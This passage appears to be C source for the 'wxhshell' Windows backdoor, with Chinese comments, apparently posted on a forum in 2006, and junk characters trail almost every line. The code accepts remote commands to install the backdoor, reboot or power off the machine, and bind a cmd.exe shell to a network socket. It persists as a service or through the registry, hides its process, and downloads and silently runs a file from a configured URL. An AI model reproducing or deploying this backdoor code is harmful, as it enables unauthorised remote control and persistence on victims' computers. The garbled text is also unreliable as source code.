  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  &O[s:  
  } (yQ 5`  
  else { lfk9+)  
n)8Yj/5  
    switch(cmd[0]) { D-9\~gvh  
  G,&%VQ3P>  
  // 帮助 iNcZ)m/  
  case '?': { 5IVksg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :lcea6iO  
    break; E]^5I3=O  
  } /I&wj^   
  // 安装 _17|U K|N  
  case 'i': { uK*Nu^  
    if(Install()) Z+s%;f;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @-.? B  
    else Z\X'd_1!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qZ2&Xw.{1  
    break; Bt^K]F\  
    } ~>ME'D~  
  // 卸载 %@& a7JOL  
  case 'r': { OQ_stE2i  
    if(Uninstall()) jigs6#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iyk6=&?j  
    else LR)& [{Kk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ']51jabm  
    break; #;9H@:N  
    } `ZHP1uQ<  
  // 显示 wxhshell 所在路径 <v]9lw'  
  case 'p': { 4h 5_M8I  
    char svExeFile[MAX_PATH]; \Z)1 ?fq  
    strcpy(svExeFile,"\n\r"); Uv?'m&_  
      strcat(svExeFile,ExeFile); p|6v~  
        send(wsh,svExeFile,strlen(svExeFile),0); ~JZ3a0$^  
    break; l_FGZ!7  
    } a,'Cyv">  
  // 重启 <2Y0{ 8)  
  case 'b': { 6=|&tE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6DS43AQs  
    if(Boot(REBOOT)) 2iXoj&3e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v<rF'D2  
    else { L0Vgo<A  
    closesocket(wsh); W|Ldu;#  
    ExitThread(0); ayp b  
    } 5P^U_  
    break; _&{%Wc5W~F  
    } $B\E.ml.  
  // 关机 |:iEfi]j  
  case 'd': { Unl?fXI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yM$J52#d#  
    if(Boot(SHUTDOWN)) T@+ClZi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HR{s&ho  
    else { 1 0N,?a  
    closesocket(wsh); B< ;==|  
    ExitThread(0); &a~=b,  
    } Jgx8-\ 8  
    break; w[fDk1H)  
    } &/F_*=VE  
  // 获取shell P@ypk^v  
  case 's': { tbj=~xYf  
    CmdShell(wsh);  .Oo/y0E^  
    closesocket(wsh); i*tv,f.(  
    ExitThread(0); ~@c-*  
    break; g,lY ut  
  }  0%Q9}l#7  
  // 退出 8Pmwzpk02  
  case 'x': { 9 pKm*n&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wz#[:2  
    CloseIt(wsh); TL-i=\{L:d  
    break; }0eg{{g8  
    } oj.lj!  
  // 离开 )5l u.R%  
  case 'q': { ~@M7&%]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a|x8=H  
    closesocket(wsh); A!HK~yk~Q  
    WSACleanup(); 9`X&,S~e  
    exit(1); N=fz/CD)I  
    break;  ]6~k4  
        } W7e4pR?w  
  } Y}1 P~  
  } X\A]"su  
9]~PC Z2j  
  // 提示信息 lSCY5[?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PZ]5Hf1"  
} Kdt|i93  
  } o<\6Rm  
LD.Ck6@  
  return; Z;*`f d?8  
} v5Y@O|i#  
&+;uZ-x  
// shell模块句柄 cIZc:   
int CmdShell(SOCKET sock) `!Ln|_,d  
{ Q_lu`F|  
STARTUPINFO si; EVz9WY  
ZeroMemory(&si,sizeof(si)); p$OD*f_b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9eSRCLhgD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /RF%1!M K  
PROCESS_INFORMATION ProcessInfo; 1M+Zkak7p  
char cmdline[]="cmd"; NhlJ3/J j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5ZsDgOeY  
  return 0; Sr7@buF  
} ~= 9V v  
02M7gBS  
// 自身启动模式 &t[|%c*D&  
int StartFromService(void) gH H&IzHF  
{ TNsg pJ?\  
typedef struct b+$o4 l/x  
{ HWbBChDF  
  DWORD ExitStatus; (4ZLpsbJ  
  DWORD PebBaseAddress; aJQXJ,>Lv  
  DWORD AffinityMask; # ITLz!g E  
  DWORD BasePriority; @^HwrwRA  
  ULONG UniqueProcessId; RK3.-  
  ULONG InheritedFromUniqueProcessId; fk\5D[j^  
}   PROCESS_BASIC_INFORMATION; 6aSM*S)  
jEE_D +K  
PROCNTQSIP NtQueryInformationProcess; Q!) z)-hI  
bw;iz ,Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1}DerX6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A:xb!= 2  
c,AZ/t  
  HANDLE             hProcess; /'`6 ; uRN  
  PROCESS_BASIC_INFORMATION pbi; 7jR7  
rG5i-'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yA0Y 14\*  
  if(NULL == hInst ) return 0; E 8^sy*f  
6=BZ~ed  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P=pY8X:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'Z$jBL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }wG|%Y#+r  
u;(K34!)  
  if (!NtQueryInformationProcess) return 0; ]TfeBX6ST  
;>/ipnx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /MqP[*L  
  if(!hProcess) return 0; w*2^/zh  
+DxifXtB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kI]=&Rw  
z=%IcSx;  
  CloseHandle(hProcess); &08 Tns"  
`x< 0A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (V^QQ !:  
if(hProcess==NULL) return 0; [BE:+ ID3  
 3:"AFV  
HMODULE hMod; kFnUJM$r  
char procName[255]; (Z'WR  
unsigned long cbNeeded; c}8 -/P=  
_we3jzMW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |'@V<^GR  
K.r!?cfv  
  CloseHandle(hProcess); mR6E]TuM  
P69>gBZYD  
if(strstr(procName,"services")) return 1; // 以服务启动 IwnYJp:9v  
y#nSk% "t"  
  return 0; // 注册表启动 w0\4Wa  
} L&rO  6  
k~ZBJ+ 94  
// 主模块 dvxf lLd @  
int StartWxhshell(LPSTR lpCmdLine) %!D_q ~"H  
{ &F9OZMK=  
  SOCKET wsl; {\F2*P  
BOOL val=TRUE; V9gVn?O0  
  int port=0; @eA %(C  
  struct sockaddr_in door; mn Qal>0~  
vB]3Xb3a  
  if(wscfg.ws_autoins) Install(); vr<)Ay  
W3aXW,P.V  
port=atoi(lpCmdLine); f};!m=b  
#<D@3ScC  
if(port<=0) port=wscfg.ws_port; US"2O!u  
#fJwC7  4  
  WSADATA data; N.k+AQb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S54gqc1S]  
n JW_a&'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -.^=Z!=M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `g2&{)3k  
  door.sin_family = AF_INET; 6{lG1\o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '=-s1c@^  
  door.sin_port = htons(port); b^+Fs  
,q/tyGj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G)4 ZK#wz  
closesocket(wsl); ipgN<|`?@  
return 1; B?!9W@  
} .59KE]u  
K%kXS  
  if(listen(wsl,2) == INVALID_SOCKET) { (c  u'  
closesocket(wsl); !7ph,/P$7  
return 1; C8! 8u?k  
} !XkymIX~O.  
  Wxhshell(wsl); k{zs578h2  
  WSACleanup(); 7=; D0SS  
t@l(xnsV  
return 0; q+r ` e  
(ej:_w1  
} M ,Zm|3L  
5~v(AB(x  
// 以NT服务方式启动 .ou!g&xu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8  /5sv  
{ #_?426Wfs  
DWORD   status = 0; H^]Nmd8Q)  
  DWORD   specificError = 0xfffffff; ce 7Yr*ZB  
 n.=e)*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o",f(v&u%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ty g$`\#   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /h1dm,  
  serviceStatus.dwWin32ExitCode     = 0; yBJ/>SAcG  
  serviceStatus.dwServiceSpecificExitCode = 0; +e&m#d  
  serviceStatus.dwCheckPoint       = 0; pjaiAe!k  
  serviceStatus.dwWaitHint       = 0; :<'i-Ur8  
A73V6"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GMVC&^  
  if (hServiceStatusHandle==0) return; byEvc[/>Ys  
c13vEn!c  
status = GetLastError(); d08`42Z69  
  if (status!=NO_ERROR) T b5$  
{ x&Q+|b%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z[DetRc-  
    serviceStatus.dwCheckPoint       = 0; rC* sNy2  
    serviceStatus.dwWaitHint       = 0; rTWh(8T  
    serviceStatus.dwWin32ExitCode     = status; .rt8]%  
    serviceStatus.dwServiceSpecificExitCode = specificError; !:]s M-cCt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >!:$@!6L  
    return; 2GHXn:V  
  } vB&F_"/X2  
{mCKTyN+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +#de8/x  
  serviceStatus.dwCheckPoint       = 0; 8MYLXW6  
  serviceStatus.dwWaitHint       = 0; BXQ\A~P\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *qeic e%E  
} Zj%B7s1A  
l044c,AW(  
// 处理NT服务事件,比如:启动、停止 yv6Zo0s<J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mq|A8>g  
{ BK`Q)[  
switch(fdwControl) 0~PXa(!^K  
{ I?^Q084  
case SERVICE_CONTROL_STOP: 3D 4]yR5  
  serviceStatus.dwWin32ExitCode = 0; i?1js! 8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qK 9L+i  
  serviceStatus.dwCheckPoint   = 0; j`[yoAH  
  serviceStatus.dwWaitHint     = 0; kR`6s  
  { D:ql^{~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fy4<  
  } c<JM1  
  return; IS5.i95m  
case SERVICE_CONTROL_PAUSE: mG}^'?^K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J]kP`  
  break; tu?Z@W/  
case SERVICE_CONTROL_CONTINUE: -Fp!w"=T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }5TfQV6  
  break; :Ul'(@  
case SERVICE_CONTROL_INTERROGATE: I>YtWY|ed  
  break; t5X G^3X@  
}; $ g1wK}B3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s/W!6JX4  
} >Rl0%!  
O]$*EiO\  
// 标准应用程序主函数 6ywnyh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) onWYT}c{  
{ pAUfG^v  
+[X.-,yW  
// 获取操作系统版本 ,N))=/  
OsIsNt=GetOsVer(); Y1yvI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $~w@0Yl  
34+)-\xt:  
  // 从命令行安装 VrnK)za*H  
  if(strpbrk(lpCmdLine,"iI")) Install(); )$9C`d[  
s&_IWala  
  // 下载执行文件 +[ZMrTW!0C  
if(wscfg.ws_downexe) { d @^o/w8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k vue@  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3H\b N4  
} e@2E0u4  
;QvvU[eb  
if(!OsIsNt) { laD.or  
// 如果时win9x,隐藏进程并且设置为注册表启动 & 8:iB {n  
HideProc(); BW;=i.  
StartWxhshell(lpCmdLine); ( TbB?X}  
} iaaH9X %  
else UL@5*uiX  
  if(StartFromService()) L_.xr ?  
  // 以服务方式启动 Vx\# +)4  
  StartServiceCtrlDispatcher(DispatchTable); C,VqT6E<  
else O_ s9  
  // 普通方式启动 b Q9"GO<X  
  StartWxhshell(lpCmdLine); WW8YB"  
6/V{>MTZg  
return 0; bz}AO))Hk  
}
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只看该作者 1 发表于: 2006-10-10
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